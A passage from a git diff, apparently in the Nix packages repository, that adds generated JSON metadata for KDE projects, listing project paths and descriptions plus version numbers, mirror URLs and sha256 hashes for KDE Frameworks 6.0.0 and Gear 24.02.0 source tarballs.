"description": "Translation Support for WikiToLearn", + "name": "wikitolearn-translation", + "project_path": "playground/www/wikitolearn-translation", + "repo_path": "wikitolearn/wikitolearn-translation" + }, + "xbuilder": { + "description": "SDK allowing creation of packages for Plasma Mobile", + "name": "xbuilder", + "project_path": "unmaintained/xbuilder", + "repo_path": "unmaintained/xbuilder" + }, + "xdg-desktop-portal-kde": { + "description": "A backend implementation for xdg-desktop-portal that is using Qt/KDE", + "name": "xdg-desktop-portal-kde", + "project_path": "kde/workspace/xdg-desktop-portal-kde", + "repo_path": "plasma/xdg-desktop-portal-kde" + }, + "xdg-portal-test-kde": { + "description": "Test application for Flatpak portals and Qt Flatpak platform plugin", + "name": "xdg-portal-test-kde", + "project_path": "playground/base/xdg-portal-test-kde", + "repo_path": "libraries/xdg-portal-test-kde" + }, + "xsettings-kde": { + "description": "Allows XSettings aware applications (all GTK+ applications) to be informed instantly of changes in KDE configuration, such as theme name, default font and so on.", + "name": "xsettings-kde", + "project_path": "playground/base/xsettings-kde", + "repo_path": "unmaintained/xsettings-kde" + }, + "xutils": { + "description": "Utilities for crossbuilding Plasma packages", + "name": "xutils", + "project_path": "unmaintained/xutils", + "repo_path": "unmaintained/xutils" + }, + "xwaylandvideobridge": { + "description": "Utility to allow streaming Wayland windows to X applications", + "name": "xwaylandvideobridge", + "project_path": "system/xwaylandvideobridge", + "repo_path": "system/xwaylandvideobridge" + }, + "yakuake": { + "description": "Drop-down terminal emulator based on Konsole technologies", + "name": "yakuake", + "project_path": "kde/applications/yakuake", + "repo_path": "utilities/yakuake" + }, + "yocto-manifest": { + "description": "Tracking of Yocto meta-layers for use with KDE", + "name": "yocto-manifest", + "project_path": "playground/packaging/yocto-manifest", + "repo_path": "packaging/yocto-manifest" + }, + "yocto-meta-kde": { + "description": "Yocto packaging metadata for KDE projects", + "name": "yocto-meta-kde", + "project_path": "playground/packaging/yocto-meta-kde", + "repo_path": "packaging/yocto-meta-kde" + }, + "yocto-meta-kde-demo": { + "description": "Yocto Demo Image for KDE projects", + "name": "yocto-meta-kde-demo", + "project_path": "playground/packaging/yocto-meta-kde-demo", + "repo_path": "packaging/yocto-meta-kde-demo" + }, + "yocto-meta-kf5": { + "description": "Yocto packaging metadata for KDE Frameworks", + "name": "yocto-meta-kf5", + "project_path": "playground/packaging/yocto-meta-kf5", + "repo_path": "packaging/yocto-meta-kf5" + }, + "yocto-meta-kf6": { + "description": "Yocto packaging metadata for KDE Frameworks 6", + "name": "yocto-meta-kf6", + "project_path": "playground/packaging/yocto-meta-kf6", + "repo_path": "packaging/yocto-meta-kf6" + }, + "youtube-voice-application": { + "description": "Youtube video player voice application and mycroft skill for Plasma Bigscreen", + "name": "youtube-voice-application", + "project_path": "playground/utils/youtube-voice-application", + "repo_path": "plasma-bigscreen/youtube-voice-application" + }, + "zanshin": { + "description": "Getting Things Done application which aims at getting your mind like water", + "name": "zanshin", + "project_path": "kde/pim/zanshin", + "repo_path": "pim/zanshin" + }, + "zxing-cpp": { + "description": null, + "name": "zxing-cpp", + "project_path": "third-party/zxing-cpp", + "repo_path": null + } +} \ No newline at end of file diff --git a/pkgs/kde/generated/sources/frameworks.json b/pkgs/kde/generated/sources/frameworks.json new file mode 100644 index 0000000000000..a4e82300ac9aa --- /dev/null +++ b/pkgs/kde/generated/sources/frameworks.json @@ -0,0 +1,362 @@ +{ + "attica": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/attica-6.0.0.tar.xz", + "hash": "sha256-7yHY5Xrq5HV7a0Df4NDpw4MCqXkWS05NSTtjG3wCPSM=" + }, + "baloo": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/baloo-6.0.0.tar.xz", + "hash": "sha256-6iHojR/iUtLcleC3roiRWUgizN2JjnqlbUbtns1iakE=" + }, + "bluez-qt": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/bluez-qt-6.0.0.tar.xz", + "hash": "sha256-NnmPHnoKRyYHQ1vrKDP2zHfWXLAG3srB7AsKOm9RQus=" + }, + "breeze-icons": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/breeze-icons-6.0.0.tar.xz", + "hash": "sha256-Rz6YUeT4SmTx6AjVj9h2AhmhsI/q9LUUoTmcjlyIncQ=" + }, + "extra-cmake-modules": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/extra-cmake-modules-6.0.0.tar.xz", + "hash": "sha256-I5kr8Z23FxVrfW3RMRjKp5/VfwkL6wYugwjbPAn3DQw=" + }, + "frameworkintegration": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/frameworkintegration-6.0.0.tar.xz", + "hash": "sha256-ND76Tk99HIBN4stqLKx6mAz383h/1PUj+iwtLRX2XZs=" + }, + "kapidox": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kapidox-6.0.0.tar.xz", + "hash": "sha256-5M1FL+eWspU2wwtSVuD46oLcre/cspzigvLB6uo3ZLs=" + }, + "karchive": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/karchive-6.0.0.tar.xz", + "hash": "sha256-daWR2WSAJuuGgml05vOILn9iBZLs74+r6xkgbmOwTlA=" + }, + "kauth": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kauth-6.0.0.tar.xz", + "hash": "sha256-ZgRmmNJYRpLVOXpuyAiyyfi3iCoPhSM76c1pKD0Dx2g=" + }, + "kbookmarks": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kbookmarks-6.0.0.tar.xz", + "hash": "sha256-FbVDbDrb1RegFPM4A8ML1gZWu8y5orKm5G/U4iN9uaU=" + }, + "kcalendarcore": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kcalendarcore-6.0.0.tar.xz", + "hash": "sha256-ZBNWrChsGlKHMnzo+iUpv1MEjkOdH/ZyySXUq34Ot8I=" + }, + "kcmutils": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kcmutils-6.0.0.tar.xz", + "hash": "sha256-mwmxQMAT1Wii7jV/gkv7ZBReTf3RaJ2m+/tPQYxbpDs=" + }, + "kcodecs": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kcodecs-6.0.0.tar.xz", + "hash": "sha256-zrpE3NwlHUQ7vWy3fRIZ2HavjMKuRxBHKqzngSI5Wr4=" + }, + "kcolorscheme": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kcolorscheme-6.0.0.tar.xz", + "hash": "sha256-3kWCJDF1W+Oat66/y3y2/5C0kkV5wqTWauKPkdcKJg4=" + }, + "kcompletion": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kcompletion-6.0.0.tar.xz", + "hash": "sha256-9kNAFOeXm2VFkG0f96KSDPq2VkE2mSHmnwCoGLju5Vk=" + }, + "kconfig": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kconfig-6.0.0.tar.xz", + "hash": "sha256-P3weawSN9Ks9Z/vvAaWtHdAonJsVhkRmj7oCJcBQwFA=" + }, + "kconfigwidgets": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kconfigwidgets-6.0.0.tar.xz", + "hash": "sha256-URvtDZXeGGs89ixxkru2AgRQ1IYfBcGlRTVhRPF95TI=" + }, + "kcontacts": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kcontacts-6.0.0.tar.xz", + "hash": "sha256-F5xnSOVVxcAosCpLmxZe3hOgnPXq8OoBI2bJcn0jDsQ=" + }, + "kcoreaddons": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kcoreaddons-6.0.0.tar.xz", + "hash": "sha256-6rg4IBtFrJjEEvZNI06J1iNX8nWumulm0HOmTGelJu8=" + }, + "kcrash": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kcrash-6.0.0.tar.xz", + "hash": "sha256-9W8e1E5JRBe3BG5PlHka1N3QfGy48PcE8gU3F6RClvk=" + }, + "kdav": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kdav-6.0.0.tar.xz", + "hash": "sha256-s8gfXjErPu7SyLfbIY9kuQ9n4bLQzjekT/JztSMoQ+k=" + }, + "kdbusaddons": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kdbusaddons-6.0.0.tar.xz", + "hash": "sha256-EecNDHI5vYGJYtkc25SuupR0gFXHcAOk9k/xTasK6Yk=" + }, + "kdeclarative": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kdeclarative-6.0.0.tar.xz", + "hash": "sha256-RnHrt+6bou16AtLHHd6Q/mgb5Qfn15E+eayxXfzntvk=" + }, + "kded": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kded-6.0.0.tar.xz", + "hash": "sha256-xiQyM/KCeyexpCmHp6MFjxOFP30OK/KJwFXyRdDFxiU=" + }, + "kdesu": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kdesu-6.0.0.tar.xz", + "hash": "sha256-JMynq22pYweZ5fAQe1RtN+5jWx+fS3wS61Ohs2GbLAw=" + }, + "kdnssd": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kdnssd-6.0.0.tar.xz", + "hash": "sha256-BpSWS6Stt+IL0NEAdpRECimLQz9tqGR6JLwVHcNItnk=" + }, + "kdoctools": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kdoctools-6.0.0.tar.xz", + "hash": "sha256-V5maTPAPDWHPKhfihXxyOUTR5I+3vq6wPkpRjaEiyLA=" + }, + "kfilemetadata": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kfilemetadata-6.0.0.tar.xz", + "hash": "sha256-zxMNwbMqMaGSE/PhrGfyGAy3kxJA5cdVIRaG6TeS85M=" + }, + "kglobalaccel": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kglobalaccel-6.0.0.tar.xz", + "hash": "sha256-WACesNC3DJPcDLCIaukp83VulyyEHXo+Rl34MH5bcUk=" + }, + "kguiaddons": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kguiaddons-6.0.0.tar.xz", + "hash": "sha256-IK9Yq2OeqZ3wmsvXSvDIZ/IvHZ+RWVYjq0T7pYNOqmI=" + }, + "kholidays": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kholidays-6.0.0.tar.xz", + "hash": "sha256-SC9jdf5TamO2e61FoK04gMdNdPySo6k17LeLKYMNm38=" + }, + "ki18n": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/ki18n-6.0.0.tar.xz", + "hash": "sha256-Fcv7c+8dOVTWIGdVtuapyG6ie+S02wyEPThJSFG8w1Q=" + }, + "kiconthemes": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kiconthemes-6.0.0.tar.xz", + "hash": "sha256-9Ve9Jp+v5hfrjUt6wpWWCflszj6osbOsIxBjpyaSe7A=" + }, + "kidletime": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kidletime-6.0.0.tar.xz", + "hash": "sha256-qoRrTPy8SNCENQ0fUlY4/PR2awNjvN5A/O+oio+9p7M=" + }, + "kimageformats": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kimageformats-6.0.0.tar.xz", + "hash": "sha256-Hd0o8vuKwslVVveSQYwrYZCgQFCsMbJ6qC6hHBrwh5w=" + }, + "kio": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kio-6.0.0.tar.xz", + "hash": "sha256-SVGt8EMpnkY4A8xj7TPVJhuBv/lp6xidwTNQ9JXLS0I=" + }, + "kirigami": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kirigami-6.0.0.tar.xz", + "hash": "sha256-7Q9WyJJJ+5Kpr5mpT9E1Qqu65KjxYTqqor+rh5FLYBo=" + }, + "kitemmodels": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kitemmodels-6.0.0.tar.xz", + "hash": "sha256-ibh5mBcighqRG7oXZRKIICF5RPp45UUjaRWO2XqDWzo=" + }, + "kitemviews": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kitemviews-6.0.0.tar.xz", + "hash": "sha256-re12r3jWa8PpDzocraEX10eDtRmQTQSjlZG5h03zUkM=" + }, + "kjobwidgets": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kjobwidgets-6.0.0.tar.xz", + "hash": "sha256-UjnQ1Hr4EYyWK1mBb87uu/+TCkOreSNDiYKsCNvLhL4=" + }, + "knewstuff": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/knewstuff-6.0.0.tar.xz", + "hash": "sha256-ApnbqYBZC9fHSHCnTGu2ynMq9HirLJukFJQ/YuoL4Po=" + }, + "knotifications": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/knotifications-6.0.0.tar.xz", + "hash": "sha256-Nf7YE/xZS76Ai8AbURstHv+QI5d7eYETfz/sgZhHE+g=" + }, + "knotifyconfig": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/knotifyconfig-6.0.0.tar.xz", + "hash": "sha256-Mj/nV6AeyySB2a0EsJAu/T3eE8sfwETuGsG39aKTaeY=" + }, + "kpackage": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kpackage-6.0.0.tar.xz", + "hash": "sha256-0q7D3w3/tx6TrMA8RvLUylnFgmOpmJ33UQe/UiPp0bc=" + }, + "kparts": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kparts-6.0.0.tar.xz", + "hash": "sha256-8IMIVW7s1tsL5yfsHSezu1M4gKUw0RK7FuwvCOrR9uE=" + }, + "kpeople": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kpeople-6.0.0.tar.xz", + "hash": "sha256-IRmsnfqA9NkNbNBE1UTtXlAOmuSHzmFvJHXFjqqQbsM=" + }, + "kplotting": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kplotting-6.0.0.tar.xz", + "hash": "sha256-3ENkS3YyNEvUE9dUqn3RBSo83pIwGTq/XaR94TQaY/8=" + }, + "kpty": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kpty-6.0.0.tar.xz", + "hash": "sha256-xd81et/BczWT9s6zzZX/ej5YdwH5kLYx367gJ44N8XE=" + }, + "kquickcharts": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kquickcharts-6.0.0.tar.xz", + "hash": "sha256-69mo9QG4DnKhL1DZhIR6aY9yg744lkT34kEzSEB2pqU=" + }, + "krunner": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/krunner-6.0.0.tar.xz", + "hash": "sha256-ItM/0nVno1CuTtrk/lZit0jo+r1TmGNEF5RVjmjzMT0=" + }, + "kservice": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kservice-6.0.0.tar.xz", + "hash": "sha256-m0Ss9R0oDeqjEU7FlRimr11kXLHsLrrbXedGgciJG/4=" + }, + "kstatusnotifieritem": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kstatusnotifieritem-6.0.0.tar.xz", + "hash": "sha256-tCYXbSy8b+gMdYtsR2pHNB2JqSy7M1XCvjdCikF3KQc=" + }, + "ksvg": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/ksvg-6.0.0.tar.xz", + "hash": "sha256-0FbLlrBsHxqKjznBNIWM8UN8VGudeanrGpL4kz0eNXk=" + }, + "ktexteditor": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/ktexteditor-6.0.0.tar.xz", + "hash": "sha256-YgJmwdKI0J967k0ryLFBxzVV1fAzxFK80uLbIGS4/UI=" + }, + "ktexttemplate": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/ktexttemplate-6.0.0.tar.xz", + "hash": "sha256-uWTmEtLWI7vPP1p2rkukQI+A3mxYgHTGfxiDS15IJ0w=" + }, + "ktextwidgets": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/ktextwidgets-6.0.0.tar.xz", + "hash": "sha256-sJP1cOo8LUMg5BtXWlQPt1rNW1+Bi8YhWl/bV3VLbEA=" + }, + "kunitconversion": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kunitconversion-6.0.0.tar.xz", + "hash": "sha256-yISUrIlxwl3GvJoRGepEwPjtpE6dKIOt6aymUemWjV4=" + }, + "kuserfeedback": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kuserfeedback-6.0.0.tar.xz", + "hash": "sha256-AvGvEI4lPIQlJtMcmXoXd7j3puW4aYtbEmfOHsEorys=" + }, + "kwallet": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kwallet-6.0.0.tar.xz", + "hash": "sha256-urQ4I96LGwhtxLKtENEL1sTQ0uH4tf1f3V99Nl+45cw=" + }, + "kwidgetsaddons": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kwidgetsaddons-6.0.0.tar.xz", + "hash": "sha256-p3cckjEKIagQW6ZN1hwGW6dHI4mcfM/E3itXsX5qa2M=" + }, + "kwindowsystem": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kwindowsystem-6.0.0.tar.xz", + "hash": "sha256-GQbKpTt9WPwMTXijyNmfJaoFb8bQnF/BIe1eH4A5apQ=" + }, + "kxmlgui": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/kxmlgui-6.0.0.tar.xz", + "hash": "sha256-0mxizp9b6GQ/7UZVMUGPtn5NE+32F5epRtowGuuRWPI=" + }, + "modemmanager-qt": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/modemmanager-qt-6.0.0.tar.xz", + "hash": "sha256-79bqPq5SshJ5ve446A9mfDXZi5d6RC9L1rigpHH5D/M=" + }, + "networkmanager-qt": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/networkmanager-qt-6.0.0.tar.xz", + "hash": "sha256-Il/J9E4R0GaHziyla+fHRS8K0syFCyL1cVyLcB2rtwA=" + }, + "prison": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/prison-6.0.0.tar.xz", + "hash": "sha256-b/X7xvw4WBBy7kWQTgItW/Lns7H0msnR0MYCTXyj7Fo=" + }, + "purpose": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/purpose-6.0.0.tar.xz", + "hash": "sha256-T6hcvS2d1JIW7aZDO0PgW7sRQknaxR31UkIyj364+Xw=" + }, + "qqc2-desktop-style": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/qqc2-desktop-style-6.0.0.tar.xz", + "hash": "sha256-hIMF/4iA/brRm/V+2fEo5ZzXHsuKNvv5IKVbYPaKLJM=" + }, + "solid": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/solid-6.0.0.tar.xz", + "hash": "sha256-dcXSVO7OuRfDXLDjK+/3aizxRY93Ps0Od5W0fa1ardM=" + }, + "sonnet": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/sonnet-6.0.0.tar.xz", + "hash": "sha256-IIPfReenKaN6jWZCFF5qz0xT5rI1MDhD4xAxyNKQros=" + }, + "syndication": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/syndication-6.0.0.tar.xz", + "hash": "sha256-/15Rifz49vsSiYhuo3DCApXejAcmlSExbCVIuOcpS60=" + }, + "syntax-highlighting": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/syntax-highlighting-6.0.0.tar.xz", + "hash": "sha256-LvnmuK64VD5k9KNiivozHAZW/mxIXzV0xAdlHXwSplM=" + }, + "threadweaver": { + "version": "6.0.0", + "url": "mirror://kde/stable/frameworks/6.0/threadweaver-6.0.0.tar.xz", + "hash": "sha256-up2uxuBpf9wqzPdKRqbVlAPl40DSgLzpFv1jVqZo3bM=" + } +} \ No newline at end of file diff --git a/pkgs/kde/generated/sources/gear.json b/pkgs/kde/generated/sources/gear.json new file mode 100644 index 0000000000000..ba2b94b119b96 --- /dev/null +++ b/pkgs/kde/generated/sources/gear.json @@ -0,0 +1,1232 @@ +{ + "akonadi": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/akonadi-24.02.0.tar.xz", + "hash": "sha256-ooDLUIgGxAim5i0vkwQDqD5MOn2hCo7x6BGFTl65Bh0=" + }, + "akonadi-calendar": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/akonadi-calendar-24.02.0.tar.xz", + "hash": "sha256-wxXu+agOTtHuNimKWtTmllexirp3v810zdLVo9CH6j8=" + }, + "akonadi-calendar-tools": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/akonadi-calendar-tools-24.02.0.tar.xz", + "hash": "sha256-X9UbkWeptqDHo/Kz5FJFKg0J2EmTBH3Ene6zCtYOwFs=" + }, + "akonadiconsole": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/akonadiconsole-24.02.0.tar.xz", + "hash": "sha256-dcXQuNA8QABV2vqXgVfH5x0WxYnUaY9bPzPtFFcd36k=" + }, + "akonadi-contacts": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/akonadi-contacts-24.02.0.tar.xz", + "hash": "sha256-yv2cLcSOiNydB8hokupUoz7hm7IxuSp2z697p7ssLgQ=" + }, + "akonadi-import-wizard": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/akonadi-import-wizard-24.02.0.tar.xz", + "hash": "sha256-uOi+zHJ/8DmxoHwtvFAmBvu6kg58/dlKwuE4YEhgAos=" + }, + "akonadi-mime": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/akonadi-mime-24.02.0.tar.xz", + "hash": "sha256-y87KziJ7TIwuPzG34W4AF+II3NlOn1j4Dvk+K4jWkys=" + }, + "akonadi-notes": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/akonadi-notes-24.02.0.tar.xz", + "hash": "sha256-XmkE4VqAx5ompVQwa+Z9u06aYDk0uFzFzO1iYvcg3tg=" + }, + "akonadi-search": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/akonadi-search-24.02.0.tar.xz", + "hash": "sha256-5ks8Y5mDBfvZe5xgOTRfUUyDWFTd6vAwsFjR5MXVvKU=" + }, + "akregator": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/akregator-24.02.0.tar.xz", + "hash": "sha256-tQHuTKvdim1+ojBLdhqfYYelzrwyf5DA4QHbQ9Z7TgU=" + }, + "alligator": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/alligator-24.02.0.tar.xz", + "hash": "sha256-6nB+uUCCB2VYtExrY6dZOkXm3uPnv0AaKuayMZl8dNg=" + }, + "analitza": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/analitza-24.02.0.tar.xz", + "hash": "sha256-dEK3gEwCyFP3hjfPtLVRqxCGBtLWcxVhfVY4RgeRN7I=" + }, + "angelfish": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/angelfish-24.02.0.tar.xz", + "hash": "sha256-gg5uLbHddShRmXb/q8QqdN+NzTuhiddDwdJUjUGX6aA=" + }, + "arianna": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/arianna-24.02.0.tar.xz", + "hash": "sha256-+T65E6LQKhi3Jr8eUsIgUeqNCyXS6rtWF5GRXLwUQTU=" + }, + "ark": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/ark-24.02.0.tar.xz", + "hash": "sha256-/xH+k1LYqoAgeiHz4CThi0A1y75omrqtIKkf42xFVGk=" + }, + "artikulate": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/artikulate-24.02.0.tar.xz", + "hash": "sha256-z6yNeJzcgJz5T/89stBR7d1OfU44o8FEwTfjMYZZyHw=" + }, + "audiocd-kio": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/audiocd-kio-24.02.0.tar.xz", + "hash": "sha256-Y105es7pxSgSqfq7Z05W0v85EAHDWVlevtU9+v5Ex+0=" + }, + "audiotube": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/audiotube-24.02.0.tar.xz", + "hash": "sha256-XtbcPB9pF9Nabe2QxHlTgmPTxRlDs6c69KVGYCd7lUU=" + }, + "baloo-widgets": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/baloo-widgets-24.02.0.tar.xz", + "hash": "sha256-mJnW3Gw4PB9mY8EHs5rmHyIy+oPUtjPnkvY77O10yxw=" + }, + "blinken": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/blinken-24.02.0.tar.xz", + "hash": "sha256-nNV5c4W0BkT3Mpl8i/DTH3BcBofC7PrrlCwz1LKp/XQ=" + }, + "bomber": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/bomber-24.02.0.tar.xz", + "hash": "sha256-zVsnjGobs3GqH8mDL2M+bh3uCY7lzKmZGm0F8doeyU0=" + }, + "bovo": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/bovo-24.02.0.tar.xz", + "hash": "sha256-Zg/oKI+3qHa9zHsWsRlCdYhTS9ax6ahpOrcA5tWRu+E=" + }, + "calendarsupport": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/calendarsupport-24.02.0.tar.xz", + "hash": "sha256-5GW/iQNSQ5nGeenl2grUVOLF5aQnmgUWKzj4UlreUAU=" + }, + "calindori": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/calindori-24.02.0.tar.xz", + "hash": "sha256-umV2DaNV56clCRw93uOVdVtRpW/JN0ldbfj1/BTz3pM=" + }, + "cantor": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/cantor-24.02.0.tar.xz", + "hash": "sha256-FBMsAkFCf1tcv7eXoPtaXEqoJh0RB8+emsB2+ilJOBM=" + }, + "cervisia": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/cervisia-24.02.0.tar.xz", + "hash": "sha256-5gfIBPqqhCWtnjKxPJW5X7CncpMVpFv7DFhKG5cwoNk=" + }, + "colord-kde": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/colord-kde-24.02.0.tar.xz", + "hash": "sha256-tY9FuIWeFpT+xqgkowH+Uqb4yXhPg6xjGH80A+wLas8=" + }, + "dolphin": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/dolphin-24.02.0.tar.xz", + "hash": "sha256-EO8oRZfij5M9i06tddAnWaFd9LzJKO0QtU+AZbdDElc=" + }, + "dolphin-plugins": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/dolphin-plugins-24.02.0.tar.xz", + "hash": "sha256-ounGHd/4Q/CDpWhtmHGYQTdCh4Ne+PxeHRxDwi/RK+A=" + }, + "dragon": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/dragon-24.02.0.tar.xz", + "hash": "sha256-djHdZhIpgo1dziL+nHgsd3GD0GWd6vIs1n7UsroCRts=" + }, + "elisa": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/elisa-24.02.0.tar.xz", + "hash": "sha256-7LZwAFqjux3Q9AfCrAMxxwMZTPsrE0ZJL/wzYbhAuLQ=" + }, + "eventviews": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/eventviews-24.02.0.tar.xz", + "hash": "sha256-BBSMQ4ZdpR2+x1ZfJ5exNv2jW2mAAnJwhu1O2HjlWrs=" + }, + "falkon": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/falkon-24.02.0.tar.xz", + "hash": "sha256-vkmP2e9LF8+oB2HEeS54Ln3B3jqKhVtI/MfJx9c5Fhc=" + }, + "ffmpegthumbs": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/ffmpegthumbs-24.02.0.tar.xz", + "hash": "sha256-OD3G1adGS0Q8Fmy0KoUHtZYAaTVtooqRkH12qBeNefE=" + }, + "filelight": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/filelight-24.02.0.tar.xz", + "hash": "sha256-B/kH6/xe2zkYo+A5psEexc/GnQ8WhZ2iyBPJmKTCB5Y=" + }, + "ghostwriter": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/ghostwriter-24.02.0.tar.xz", + "hash": "sha256-Eool2WoiDLrGcpw3vI/T7mb03CFERbYoLIbdIPnAhUk=" + }, + "granatier": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/granatier-24.02.0.tar.xz", + "hash": "sha256-TBfFtGeozCPc8+yjQhav4E29a10ixLgfuf8JnlJRcTE=" + }, + "grantlee-editor": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/grantlee-editor-24.02.0.tar.xz", + "hash": "sha256-tyCZ7eCMHAN2hrgrtPM5A7qrHkA4A347Km3HBml2RmI=" + }, + "grantleetheme": { + "version": 